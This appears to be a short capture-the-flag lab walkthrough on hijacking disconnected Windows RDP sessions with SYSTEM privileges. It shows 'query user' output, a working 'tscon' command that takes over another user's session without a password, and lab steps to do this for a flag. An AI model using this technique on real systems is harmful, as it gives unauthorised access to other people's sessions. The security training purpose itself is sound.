Abusing user behaviour
RDP Session hijacking
When an administrator uses Remote Desktop to connect to a machine and closes the RDP client instead of logging off, the session will remain open on the server indefinitely. With SYSTEM privileges on Windows Server 2016 and earlier, you can take over any existing RDP session without requiring a password. On Windows Server 2019 and newer, the attacker must know the password used to create the RDP session.
Logged in as the Administrator
and running a shell as NT AUTHORITY\SYSTEM
:
C:\> query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator rdp-tcp#6 2 Active . 4/1/2022 4:09 AM
luke 3 Disc . 4/6/2022 6:51 AM
For a RDP session that was not cleanly logged off and is suspended, attach it to the existing session, for example:
tscon 3 /dest:rdp-tcp#6
Flag
Get a new set of credentials from http://distributor.za.tryhackme.com/creds_t2.
Connect to THMJMP2 via RDP
hijack
t1_toby.beck
’s RDP session on THMJMP2 to get your flag. Hijack a session marked as disconnected (Disc.) to avoid interfering with other users.